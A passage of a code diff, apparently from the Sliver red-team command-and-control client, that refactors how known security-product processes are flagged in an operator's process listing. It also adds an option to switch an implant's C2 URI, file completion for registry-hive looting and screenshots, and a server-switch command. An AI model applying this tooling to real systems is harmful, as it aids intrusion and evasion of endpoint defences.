"RepMgr.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
|
||||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
"RepUtils.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
|
||||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
"RepUx.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
|
||||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
"RepWSC.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
|
||||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
"scanhost.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
|
||||||
"elastic-agent.exe": {console.Red, "Elastic Agent"}, // Elastic Agent
|
"elastic-agent.exe": "Elastic Agent", // Elastic Agent
|
||||||
"elastic-endpoint.exe": {console.Red, "Elastic Agent"}, // Elastic Agent
|
"elastic-endpoint.exe": "Elastic Agent", // Elastic Agent
|
||||||
"filebeat.exe": {console.Red, "Elastic Agent"}, // Elastic Agent - log shipper
|
"filebeat.exe": "Elastic Agent", // Elastic Agent - log shipper
|
||||||
"metricbeat.exe": {console.Red, "Elastic Agent"}, // Elastic Agent - metric shipper
|
"metricbeat.exe": "Elastic Agent", // Elastic Agent - metric shipper
|
||||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
"smartscreen.exe": "Windows Smart Screen", // Windows Defender Smart Screen
|
||||||
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender Command-line
|
"MpCmdRun.exe": "Windows Defender", // Windows Defender Command-line
|
||||||
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
"MonitoringHost.exe": "Windows Defender", // Microsoft Monitoring Agent
|
||||||
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
"HealthService.exe": "Windows Defender", // Microsoft Monitoring Agent
|
||||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender (Service Executable)
|
"MsMpEng.exe": "Windows Defender", // Windows Defender (Service Executable)
|
||||||
"NisSrv.exe": {console.Red, "Windows Defender"}, // Windows Defender (Network Realtime Inspection)
|
"NisSrv.exe": "Windows Defender", // Windows Defender (Network Realtime Inspection)
|
||||||
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
|
"SenseIR.exe": "Windows Defender MDE", // Windows Defender Endpoint (Live Response Session)
|
||||||
"SenseNdr.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Network Detection and Response)
|
"SenseNdr.exe": "Windows Defender MDE", // Windows Defender Endpoint (Network Detection and Response)
|
||||||
"SenseSC.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Screenshot Capture Module)
|
"SenseSC.exe": "Windows Defender MDE", // Windows Defender Endpoint (Screenshot Capture Module)
|
||||||
"SenseCE.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Classification Engine Module)
|
"SenseCE.exe": "Windows Defender MDE", // Windows Defender Endpoint (Classification Engine Module)
|
||||||
"SenseCM.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Configuration Management Module)
|
"SenseCM.exe": "Windows Defender MDE", // Windows Defender Endpoint (Configuration Management Module)
|
||||||
"SenseSampleUploader.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Sample Uploader Module)
|
"SenseSampleUploader.exe": "Windows Defender MDE", // Windows Defender Endpoint (Sample Uploader Module)
|
||||||
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Communication Module)
|
"SenseCncProxy.exe": "Windows Defender MDE", // Windows Defender Endpoint (Communication Module)
|
||||||
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Service Executable)
|
"MsSense.exe": "Windows Defender MDE", // Windows Defender Endpoint (Service Executable)
|
||||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
"CSFalconService.exe": "CrowdStrike", // Crowdstrike Falcon Service
|
||||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
"CSFalconContainer.exe": "CrowdStrike", // CrowdStrike Falcon Container Security
|
||||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
"bdservicehost.exe": "Bitdefender", // Bitdefender (Total Security)
|
||||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
"bdagent.exe": "Bitdefender", // Bitdefender (Total Security)
|
||||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
"bdredline.exe": "Bitdefender", // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
"Deep Security Manager.exe": "Trend Micro", // TM Deep Security Manager
|
||||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
"coreServiceShell.exe": "Trend Micro", // TM Anti-malware scan process
|
||||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
"ds_monitor.exe": "Trend Micro", // TM Deep Security Monitor
|
||||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
"Notifier.exe": "Trend Micro", // TM Deep Security Notifier's process
|
||||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
"dsa.exe": "Trend Micro", // TM Agent's main process
|
||||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
"ds_nuagent.exe": "Trend Micro", // TM Advanced TLS traffic inspection
|
||||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
"coreFrameworkHost.exe": "Trend Micro", // TM Anti-malware scan process
|
||||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
"SentinelServiceHost.exe": "SentinelOne", // Sentinel One
|
||||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
"SentinelStaticEngine.exe": "SentinelOne", // Sentinel One
|
||||||
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
"SentinelStaticEngineScanner.exe": "SentinelOne", // Sentinel One
|
||||||
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
"SentinelAgent.exe": "SentinelOne", // Sentinel One
|
||||||
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
"SentinelAgentWorker.exe": "SentinelOne", // Sentinel One
|
||||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
"SentinelHelperService.exe": "SentinelOne", // Sentinel One
|
||||||
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
"SentinelBrowserNativeHost.exe": "SentinelOne", // Sentinel One
|
||||||
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
"SentinelUI.exe": "SentinelOne", // Sentinel One
|
||||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
"Sysmon.exe": "Sysmon", // Sysmon
|
||||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
"Sysmon64.exe": "Sysmon64", // Sysmon64
|
||||||
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
|
"CylanceSvc.exe": "Cylance", // Cylance
|
||||||
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
|
"CylanceUI.exe": "Cylance", // Cylance
|
||||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
"TaniumClient.exe": "Tanium", // Tanium
|
||||||
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
|
"TaniumCX.exe": "Tanium", // Tanium
|
||||||
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
|
"TaniumDetectEngine.exe": "Tanium", // Tanium
|
||||||
"collector.exe": {console.Red, "Rapid 7 Collector"}, // Rapid 7 Insight Platform Collector
|
"collector.exe": "Rapid 7 Collector", // Rapid 7 Insight Platform Collector
|
||||||
"ir_agent.exe": {console.Red, "Rapid 7 Insight Agent"}, // Rapid 7 Insight Agent
|
"ir_agent.exe": "Rapid 7 Insight Agent", // Rapid 7 Insight Agent
|
||||||
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
"eguiproxy.exe": "ESET Security", // ESET Internet Security
|
||||||
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
"ekrn.exe": "ESET Security", // ESET Internet Security
|
||||||
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
"efwd.exe": "ESET Security", // ESET Internet Security
|
||||||
"AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
"AmSvc.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
|
||||||
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
"CrAmTray.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
|
||||||
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
"CrsSvc.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
|
||||||
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
"CybereasonAV.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
|
||||||
"cortex-xdr-payload.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - offline triage
|
"cortex-xdr-payload.exe": "Palo Alto Cortex", // Cortex XDR - offline triage
|
||||||
"cysandbox.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - sandbox
|
"cysandbox.exe": "Palo Alto Cortex", // Cortex XDR - sandbox
|
||||||
"cyuserservice.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - user service
|
"cyuserservice.exe": "Palo Alto Cortex", // Cortex XDR - user service
|
||||||
"cywscsvc.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - security center service
|
"cywscsvc.exe": "Palo Alto Cortex", // Cortex XDR - security center service
|
||||||
"tlaworker.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - local analysis worker
|
"tlaworker.exe": "Palo Alto Cortex", // Cortex XDR - local analysis worker
|
||||||
"AEEngine.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - security service
|
"AEEngine.exe": "Faronics Anti-Executable", // Faronics Anti-Executable - security service
|
||||||
"Antiexecutable.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - gui and tray icon
|
"Antiexecutable.exe": "Faronics Anti-Executable", // Faronics Anti-Executable - gui and tray icon
|
||||||
}
|
}
|
||||||
|
|
||||||
// PsCmd - List processes on the remote system
|
// PsCmd - List processes on the remote system
|
||||||
@@ -264,10 +264,10 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags
|
|||||||
}
|
}
|
||||||
|
|
||||||
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||||
uniqProducts := map[string]string{}
|
uniqProducts := map[string]struct{}{}
|
||||||
for _, proc := range ps.Processes {
|
for _, proc := range ps.Processes {
|
||||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
if product, ok := knownSecurityTools[proc.Executable]; ok {
|
||||||
uniqProducts[secTool[1]] = secTool[0]
|
uniqProducts[product] = struct{}{}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
products := make([]string, 0, len(uniqProducts))
|
products := make([]string, 0, len(uniqProducts))
|
||||||
@@ -281,15 +281,15 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
|||||||
func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.SliverClient) table.Row {
|
func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.SliverClient) table.Row {
|
||||||
session, beacon := con.ActiveTarget.GetInteractive()
|
session, beacon := con.ActiveTarget.GetInteractive()
|
||||||
|
|
||||||
color := console.Normal
|
style := console.StyleNormal
|
||||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
if _, ok := knownSecurityTools[proc.Executable]; ok {
|
||||||
color = secTool[0]
|
style = console.StyleRed
|
||||||
}
|
}
|
||||||
if session != nil && proc.Pid == session.PID {
|
if session != nil && proc.Pid == session.PID {
|
||||||
color = console.Green
|
style = console.StyleGreen
|
||||||
}
|
}
|
||||||
if beacon != nil && proc.Pid == beacon.PID {
|
if beacon != nil && proc.Pid == beacon.PID {
|
||||||
color = console.Green
|
style = console.StyleGreen
|
||||||
}
|
}
|
||||||
|
|
||||||
var row table.Row
|
var row table.Row
|
||||||
@@ -303,28 +303,28 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
|
|||||||
args = proc.Executable
|
args = proc.Executable
|
||||||
}
|
}
|
||||||
row = table.Row{
|
row = table.Row{
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
style.Render(proc.Owner),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
style.Render(proc.Architecture),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
style.Render(args),
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
style.Render(fmt.Sprintf("%d", proc.SessionID)),
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
if fullInfo {
|
if fullInfo {
|
||||||
row = table.Row{
|
row = table.Row{
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
style.Render(proc.Owner),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
style.Render(proc.Architecture),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
style.Render(proc.Executable),
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
style.Render(fmt.Sprintf("%d", proc.SessionID)),
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
row = table.Row{
|
row = table.Row{
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
style.Render(proc.Executable),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -341,26 +341,26 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
|
|||||||
args = proc.Executable
|
args = proc.Executable
|
||||||
}
|
}
|
||||||
row = table.Row{
|
row = table.Row{
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
style.Render(proc.Owner),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
style.Render(proc.Architecture),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
style.Render(args),
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
if fullInfo {
|
if fullInfo {
|
||||||
row = table.Row{
|
row = table.Row{
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
style.Render(proc.Owner),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
style.Render(proc.Architecture),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
style.Render(proc.Executable),
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
row = table.Row{
|
row = table.Row{
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
style.Render(proc.Executable),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
package processes
|
package processes
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"sort"
|
"sort"
|
||||||
|
|
||||||
"github.com/xlab/treeprint"
|
"github.com/xlab/treeprint"
|
||||||
@@ -108,14 +107,14 @@ func (t *PsTree) AddProcess(proc *commonpb.Process) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (t *PsTree) filterProc(proc *commonpb.Process) string {
|
func (t *PsTree) filterProc(proc *commonpb.Process) string {
|
||||||
color := console.Normal
|
style := console.StyleNormal
|
||||||
if proc.Pid == t.implantPID {
|
if proc.Pid == t.implantPID {
|
||||||
color = console.Green
|
style = console.StyleGreen
|
||||||
}
|
}
|
||||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
if _, ok := knownSecurityTools[proc.Executable]; ok {
|
||||||
color = secTool[0]
|
style = console.StyleRed
|
||||||
}
|
}
|
||||||
return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
|
return style.Render(proc.Executable)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (t *PsTree) String() string {
|
func (t *PsTree) String() string {
|
||||||
|
|||||||
@@ -19,7 +19,6 @@ package reaction
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/command/settings"
|
"github.com/bishopfox/sliver/client/command/settings"
|
||||||
@@ -51,7 +50,7 @@ func ReactionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverClient) {
|
func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverClient) {
|
||||||
tw := table.NewWriter()
|
tw := table.NewWriter()
|
||||||
tw.SetStyle(settings.GetTableStyle(con))
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, EventTypeToTitle(eventType)))
|
tw.SetTitle(console.StyleBold.Render(EventTypeToTitle(eventType)))
|
||||||
tw.AppendSeparator()
|
tw.AppendSeparator()
|
||||||
slackSpace := len(EventTypeToTitle(eventType)) - len("Commands") - len("ID") - 3
|
slackSpace := len(EventTypeToTitle(eventType)) - len("Commands") - len("ID") - 3
|
||||||
if slackSpace < 0 {
|
if slackSpace < 0 {
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("beacon-interval", "i", "", "beacon callback interval")
|
f.StringP("beacon-interval", "i", "", "beacon callback interval")
|
||||||
f.StringP("beacon-jitter", "j", "", "beacon callback jitter (random up to)")
|
f.StringP("beacon-jitter", "j", "", "beacon callback jitter (random up to)")
|
||||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
|
f.StringP("c2-uri", "c", "", "C2 URI to switch to")
|
||||||
})
|
})
|
||||||
|
|
||||||
renameCmd := &cobra.Command{
|
renameCmd := &cobra.Command{
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ package reconfig
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
"net/url"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -52,6 +53,7 @@ func ReconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
var beaconJitter time.Duration
|
var beaconJitter time.Duration
|
||||||
binterval, _ := cmd.Flags().GetString("beacon-interval")
|
binterval, _ := cmd.Flags().GetString("beacon-interval")
|
||||||
bjitter, _ := cmd.Flags().GetString("beacon-jitter")
|
bjitter, _ := cmd.Flags().GetString("beacon-jitter")
|
||||||
|
C2URI, _ := cmd.Flags().GetString("c2-uri")
|
||||||
|
|
||||||
if beacon != nil {
|
if beacon != nil {
|
||||||
if binterval != "" {
|
if binterval != "" {
|
||||||
@@ -73,10 +75,47 @@ func ReconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if C2URI != "" {
|
||||||
|
// validate uri
|
||||||
|
newURI, err := url.Parse(C2URI)
|
||||||
|
if err != nil || newURI.Scheme == "" || newURI.Host == "" {
|
||||||
|
con.PrintErrorf("Invalid C2 URI: %s (expected format: protocol://host:port)\n", C2URI)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// validate the protocol is the same as the beacon (cuz it compiled with only one protocol)
|
||||||
|
var activeC2 string
|
||||||
|
if beacon != nil {
|
||||||
|
activeC2 = beacon.ActiveC2
|
||||||
|
} else if session != nil {
|
||||||
|
activeC2 = session.ActiveC2
|
||||||
|
}
|
||||||
|
|
||||||
|
if activeC2 != "" {
|
||||||
|
currentURI, err := url.Parse(activeC2)
|
||||||
|
if err == nil {
|
||||||
|
// must be the same protocol
|
||||||
|
if newURI.Scheme != currentURI.Scheme {
|
||||||
|
con.PrintErrorf("Cannot switch protocol from %s to %s (protocol must match compiled implant)\n",
|
||||||
|
currentURI.Scheme, newURI.Scheme)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// for now only support the same Host/C2 Server (becuase the implant crypto keys problem)
|
||||||
|
if newURI.Hostname() != currentURI.Hostname() {
|
||||||
|
con.PrintWarnf("Switching to a different host (%s -> %s). This only works if both servers share the same crypto keys.\n",
|
||||||
|
currentURI.Hostname(), newURI.Hostname())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
con.PrintInfof("Updating C2 endpoint to: %s\n", C2URI)
|
||||||
|
}
|
||||||
|
|
||||||
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
|
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
|
||||||
ReconnectInterval: int64(reconnectInterval),
|
ReconnectInterval: int64(reconnectInterval),
|
||||||
BeaconInterval: int64(beaconInterval),
|
BeaconInterval: int64(beaconInterval),
|
||||||
BeaconJitter: int64(beaconJitter),
|
BeaconJitter: int64(beaconJitter),
|
||||||
|
C2URI: C2URI,
|
||||||
Request: con.ActiveTarget.Request(cmd),
|
Request: con.ActiveTarget.Request(cmd),
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package registry
|
package registry
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/rsteube/carapace"
|
"github.com/rsteube/carapace"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
@@ -56,6 +57,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||||
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(registryReadHiveCmd, "save")
|
||||||
registryReadCmd.AddCommand(registryReadHiveCmd)
|
registryReadCmd.AddCommand(registryReadHiveCmd)
|
||||||
|
|
||||||
registryWriteCmd := &cobra.Command{
|
registryWriteCmd := &cobra.Command{
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
package screenshot
|
package screenshot
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"github.com/bishopfox/sliver/client/command/completers"
|
||||||
"github.com/bishopfox/sliver/client/command/flags"
|
"github.com/bishopfox/sliver/client/command/flags"
|
||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
@@ -31,6 +32,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
flags.BindFlagCompletions(screenshotCmd, func(comp *carapace.ActionMap) {
|
flags.BindFlagCompletions(screenshotCmd, func(comp *carapace.ActionMap) {
|
||||||
(*comp)["save"] = carapace.ActionFiles()
|
(*comp)["save"] = carapace.ActionFiles()
|
||||||
})
|
})
|
||||||
|
completers.RegisterLocalFilePathFlagCompletion(screenshotCmd, "save")
|
||||||
|
|
||||||
return []*cobra.Command{screenshotCmd}
|
return []*cobra.Command{screenshotCmd}
|
||||||
}
|
}
|
||||||
@@ -44,6 +44,7 @@ import (
|
|||||||
"github.com/bishopfox/sliver/client/command/monitor"
|
"github.com/bishopfox/sliver/client/command/monitor"
|
||||||
"github.com/bishopfox/sliver/client/command/operators"
|
"github.com/bishopfox/sliver/client/command/operators"
|
||||||
"github.com/bishopfox/sliver/client/command/reaction"
|
"github.com/bishopfox/sliver/client/command/reaction"
|
||||||
|
"github.com/bishopfox/sliver/client/command/serverctx"
|
||||||
"github.com/bishopfox/sliver/client/command/sessions"
|
"github.com/bishopfox/sliver/client/command/sessions"
|
||||||
"github.com/bishopfox/sliver/client/command/settings"
|
"github.com/bishopfox/sliver/client/command/settings"
|
||||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||||
@@ -97,6 +98,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
|||||||
// Core
|
// Core
|
||||||
bind(consts.GenericHelpGroup,
|
bind(consts.GenericHelpGroup,
|
||||||
exit.Command,
|
exit.Command,
|
||||||
|
serverctx.Commands,
|
||||||
licenses.Commands,
|
licenses.Commands,
|
||||||
settings.Commands,
|
settings.Commands,
|
||||||
alias.Commands,
|
alias.Commands,
|
||||||
|
|||||||
@@ -0,0 +1,609 @@
|
|||||||
|
//go:build client
|
||||||
|
|
||||||
|
package serverctx
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"crypto/sha256"
|
||||||
|
"crypto/x509"
|
||||||
|
"encoding/pem"
|
||||||
|
"fmt"
|
||||||
|
"sort"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"charm.land/lipgloss/v2"
|
||||||
|
"github.com/bishopfox/sliver/client/assets"
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
clienttheme "github.com/bishopfox/sliver/client/theme"
|
||||||
|
"github.com/bishopfox/sliver/client/transport"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||||
|
"github.com/charmbracelet/bubbles/key"
|
||||||
|
tea "github.com/charmbracelet/bubbletea"
|
||||||
|
"github.com/charmbracelet/huh"
|
||||||
|
"github.com/spf13/cobra"
|
||||||
|
"google.golang.org/grpc/connectivity"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Commands returns client-only server connection context commands.
|
||||||
|
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||||
|
root := &cobra.Command{
|
||||||
|
Use: "server",
|
||||||
|
Short: "Show and manage the current server connection",
|
||||||
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
|
serverInfo(cmd, con)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
switchCmd := &cobra.Command{
|
||||||
|
Use: "switch",
|
||||||
|
Short: "Switch to another server/operator profile",
|
||||||
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
|
serverSwitch(cmd, con)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
root.AddCommand(switchCmd)
|
||||||
|
|
||||||
|
return []*cobra.Command{root}
|
||||||
|
}
|
||||||
|
|
||||||
|
func serverInfo(_ *cobra.Command, con *console.SliverClient) {
|
